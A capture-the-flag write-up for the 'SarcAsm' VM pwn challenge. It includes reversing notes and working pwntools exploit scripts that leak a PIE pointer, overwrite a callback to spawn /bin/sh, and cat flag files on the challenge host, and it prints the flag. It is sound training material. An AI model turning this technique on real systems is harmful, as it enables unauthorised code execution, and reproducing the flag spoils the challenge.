Category: Binary Exploitation
Flag: EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
Challenge Description
Unsarcastically, introducing the best asm in market: SarcAsm
Analysis
The handout was a VM challenge bundle (sarcasm, custom libc.so.6, and loader), so I treated it like parser/bytecode pwn instead of classic stack ROP. The protection profile on the host binary is very hardened (PIE, canary, full RELRO, NX, SHSTK/IBT), which strongly suggested the intended path would be logic/VM memory corruption rather than native return-address control.
file "/home/rei/sarcasm/handout/sarcasm"
checksec "/home/rei/sarcasm/handout/sarcasm"/home/rei/sarcasm/handout/sarcasm: ELF 64-bit LSB pie executable, x86-64, ... stripped
[*] '/home/rei/sarcasm/handout/sarcasm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: EnabledThe key click came from reversing the VM metadata and dispatch tables. BUILTIN and CALL are real VM opcodes (0x40 and 0x41), and their object type is callable object type 3. That meant I should target object internals used by CALL, not native ELF control flow.
# parse_vm_meta.py
from pathlib import Path
import struct
p = Path('/home/rei/sarcasm/handout/sarcasm').read_bytes()
base_fo = 0x8A80
ro_va = 0x7000
def read_cstr(va: int) -> str:
out = []
idx = va - ro_va
while idx < len(p) and p[idx] != 0:
out.append(chr(p[idx]))
idx += 1
return ''.join(out)
for i in range(0x19):
rec = p[base_fo + i * 0x18 : base_fo + i * 0x18 + 0x18]
name_ptr = struct.unpack_from('<Q', rec, 0)[0]
opcode = struct.unpack_from('<I', rec, 8)[0]
if i in (19, 20):
print(i, hex(opcode), read_cstr(name_ptr))19 0x140 BUILTIN
20 0x141 CALLThen I confirmed the builtin function-pointer table in .data.rel.ro: builtin id 0 points to 0x31d0 and builtin id 1 points to 0x2ee0.
objdump -s --start-address=0x9a50 --stop-address=0x9ac0 "/home/rei/sarcasm/handout/sarcasm"Contents of section .data.rel.ro:
9a60 d0310000 00000000 01000000 00000000 .1.............
9a70 e02e0000 00000000 00000000 00000000 ................The winning target was nearby in the same PIE image: 0x3000 is a tiny helper that does execve("/bin/sh", ...) and exits. So a partial pointer rewrite from builtin-1 callback (0x2ee0) to shell helper (0x3000) is enough to get code execution.
objdump -M intel --start-address=0x3000 --stop-address=0x3050 -d "/home/rei/sarcasm/handout/sarcasm"0000000000003000 <.text+0xc00>:
3000: ...
301b: 48 b8 2f 62 69 6e 2f 73 68 00 movabs rax,0x68732f6e69622f
...
303d: e8 ce f2 ff ff call 2310 <execve@plt>At that point, the exploit strategy became a two-stage VM payload: first leak 8 bytes from the builtin object (so PIE can be derived reliably under ASLR), then write back the forged callback pointer and trigger CALL 0 to jump into execve("/bin/sh"). Local validation showed the chain was correct and stable enough to run commands from the spawned shell.

# local_verify.py
from pwn import process, p32, p64, u64
code = bytes.fromhex(
'20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
'00 30 00 23 30 00 25 00 08 41 00 ff'
)
io = process([
'/home/rei/sarcasm/handout/ld-linux-x86-64.so.2',
'--library-path',
'/home/rei/sarcasm/handout',
'/home/rei/sarcasm/handout/sarcasm',
])
io.send(p32(len(code)) + code)
leak = io.recvn(8, timeout=2)
ptr = u64(leak)
base = ptr - 0x2EE0
target = base + 0x3000
io.send(p64(target))
io.sendline(b'echo LOCAL_OK')
io.sendline(b'exit')
out = io.recvall(timeout=2)
print('leak', hex(ptr))
print(out.decode(errors='ignore'))leak 0x7f41d1a1cee0
LOCAL_OKRemote service behavior was noisy (some connections returned no leak bytes), so I wrapped the same primitive in retry logic. Once a full 8-byte leak landed, the overwrite/trigger path worked immediately and the shell output contained the real flag.

# remote_retry.py
import re
import time
from pwn import remote, p32, p64, u64
HOST = 'chall.ehax.in'
PORT = 9999
code = bytes.fromhex(
'20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
'00 30 00 23 30 00 25 00 08 41 00 ff'
)
for i in range(1, 21):
try:
io = remote(HOST, PORT, timeout=8)
except Exception:
continue
try:
io.send(p32(len(code)) + code)
leak = io.recvn(8, timeout=8)
if len(leak) != 8:
io.close()
continue
ptr = u64(leak)
base = ptr - 0x2EE0
target = base + 0x3000
io.send(p64(target))
io.sendline(b'echo START')
io.sendline(b'cat flag.txt')
io.sendline(b'cat /flag')
io.sendline(b'cat /flag.txt')
io.sendline(b'exit')
out = io.recvall(timeout=6).decode(errors='ignore')
print(i, 'leaklen', len(leak), leak.hex())
print(out)
m = re.search(r'[A-Za-z0-9_]+\{[^}\n]+\}', out)
if m:
print('FLAG', m.group(0))
break
finally:
try:
io.close()
except Exception:
pass
time.sleep(0.3)9 leaklen 8 e08edfd60b580000
START
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
FLAG EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}Solution
# solve.py
import re
import time
from pwn import remote, p32, p64, u64
HOST = "chall.ehax.in"
PORT = 9999
# VM program:
# 1) create stale callable object and leak 8-byte builtin callback pointer
# 2) overwrite callback with execve('/bin/sh') helper address
# 3) CALL 0 to execute shell helper
CODE = bytes.fromhex(
"20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 "
"00 30 00 23 30 00 25 00 08 41 00 ff"
)
def try_once() -> str | None:
io = remote(HOST, PORT, timeout=8)
io.send(p32(len(CODE)) + CODE)
leak = io.recvn(8, timeout=8)
if len(leak) != 8:
io.close()
return None
leaked_ptr = u64(leak)
pie_base = leaked_ptr - 0x2EE0
shell_helper = pie_base + 0x3000
io.send(p64(shell_helper))
io.sendline(b"echo START")
io.sendline(b"cat flag.txt")
io.sendline(b"cat /flag")
io.sendline(b"cat /flag.txt")
io.sendline(b"exit")
out = io.recvall(timeout=6).decode(errors="ignore")
io.close()
m = re.search(r"[A-Za-z0-9_]+\{[^}\n]+\}", out)
return m.group(0) if m else None
def main() -> None:
for _ in range(20):
flag = try_once()
if flag:
print(flag)
return
time.sleep(0.3)
raise RuntimeError("flag not recovered in retry window")
if __name__ == "__main__":
main()python3.12 solve.pyEH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}